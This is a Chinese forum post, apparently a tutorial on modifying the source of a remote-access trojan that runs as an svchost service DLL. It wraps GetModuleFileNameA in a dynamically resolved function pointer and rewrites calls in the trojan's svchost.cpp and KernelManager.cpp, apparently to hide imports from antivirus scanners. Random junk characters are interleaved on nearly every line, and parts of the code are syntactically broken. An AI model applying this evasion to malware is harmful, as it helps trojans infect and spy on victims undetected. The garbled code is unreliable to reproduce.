返回列表 发帖

[原创文章] 全局动态调用

全局动态调用笔记
, x5 ?  _. O0 p0 @8 F  A- isvchost files工程->插入->类(Generic Class DTDY)->DTDY.cpp DTDY.h
+ f" a9 ~8 \" U: J3 w----------------------------------------
+ b. j+ ]' _2 R8 g  QDTDY.h:
( B6 {1 U7 v/ t: H& I( {" ?1 N
% M8 _5 P# ^5 h#if _MSC_VER>1000
6 e- a' z2 j( D, l  n8 \#pragma once6 x+ I& W: z: J8 c# Q$ G
#endif //_MSC_VER>1000
4 @: ^0 E0 u$ H#include<windows.h>6 b$ \: l8 T" [

1 J3 F) w% h$ ~typedef DWORD (__stdcall *pGetModuleFileNameA)(HMODULE,LPSTR,DWORD);
& B$ e& L7 B' Z6 [3 Nclass DTDY
: M$ w6 k5 L# c( @1 E, {; {{
4 m  P, Q8 K- Z: O* i' wpublic:
; f" R4 L8 t) r) p& ADTDY();2 k: y# J5 L" l& y2 {2 U
virtual ~DTDY();
. B+ m9 R' o) E# M! _! f1 qpublic:8 K* G) ?9 U- I) z
static pGetModuleFileNameA MyGetModuleFileName;2 E/ k) x9 Y& z
static BOOL FunInitiallization();4 U# p9 j/ b: F; x; f
};
( d8 C4 u. i" n  p( W+ U#endif- W$ z3 S9 w+ `. ~1 M/ @
----------------------------------------
3 j1 k) W4 i% N' h: O+ @/ H. Z0 o6 U
DTDY.cpp:
, @  H6 O2 A2 [
  ~1 D6 j9 B  t9 Q# l#include "DTDY.h"
1 t  T+ e6 v. E3 u. d' Z6 UpGetModuleFileNameA DTDY::MyGetModuleFileName=NULL;: |2 N  r* r, c4 ~. u2 b3 w8 A$ z
DTDY:TDY(): v# I* d4 ^1 `6 \
{
3 C" D6 \4 c( S, n0 |8 P6 ^}
. p0 M' ^3 [* ?8 J7 H& m; w$ R: DDTDY::~DTDY()! U3 i% ?% X" c8 D
{, l2 ~+ k$ y) Z1 n( ?
}# O! u) a0 U4 O; a% l
BOOL DTDY::FunInitiallization()
  H) I4 w4 i2 u, \# O6 X{0 ^7 \! r# h* l' p- M, M
HMODULE hModule=LoadLibrary("kernel32.dll");! o& c( H& ^$ c3 P. L) V
MyGetModuleFileName=(pGetModuleFileNameA)GetProcAddress(hModule,"GetModuleFileNameA");$ u* B4 j6 o5 S( ~4 k+ X
if(!MyGetModuleFileName=) return FALSE;$ w) k6 {# S( O9 k$ w9 t- X
2 f4 B9 D% W5 P
return TRUE;
$ i( s2 f8 I0 p! H8 W& H! h( j}
% A; X" u7 K  `* y9 F* V4 N- Q----------------------------------------
( _  {6 ~- H6 F6 k% Lsvchost.cpp:* a9 s8 d" a+ d" V) `7 z
, v* S& d" u7 j
#include "DTDY.h"
& _6 P; L# Y3 t; Q% u
' z, t- k  @% WBOOL APIENTRY DllMain(HANDLE hModule,DWORD ul_reason_for_call,LPVOID lpReserved)
; V, G( ?8 t( a{$ I0 e& y3 j7 ~4 _+ ^- s8 n
switch(ul_reason_for_call): N* {/ Y  |& D+ f' ~8 L* C
{
; J$ e- I/ A% z5 N8 y- ^case DLL_PROCESS_ATTACH:
# E5 s; U$ G+ y* Fif(!DTDY::FunInitiallization()) return FALSE;
3 e! k' e& F4 e+ w% R' v% e  i$ y& }7 ?: t; H' V
break;" W0 X9 e8 _& i5 Y3 a# Y# X! J2 J
}7 [* r" k. G& [
}
# W% Z  Q) k* R3 y, M& a6 |- f$ C$ {4 j6 X

0 L5 o. P( k. `1 hGetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));->goto def4 X2 P, L8 M1 m! g1 F6 j
改写为
) i! ^7 k# s+ ?' {& ~7 gDTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));
4 N  x3 s+ r8 w8 _----------------------------------------9 {* Z1 ^: ~' B+ E
KernelManager.cpp:
% |. Q8 O- X. }
$ i( B+ }+ \) Q7 o: V5 W#include "../DTDY.h"
2 H6 v0 v* U2 x6 U3 ^GetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));
* n% L2 _* @3 F3 b5 w5 e改写为
) I2 ^, x* N  F0 O9 J7 [DTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));
' J$ v/ n+ B  G" ~----------------------------------------

返回列表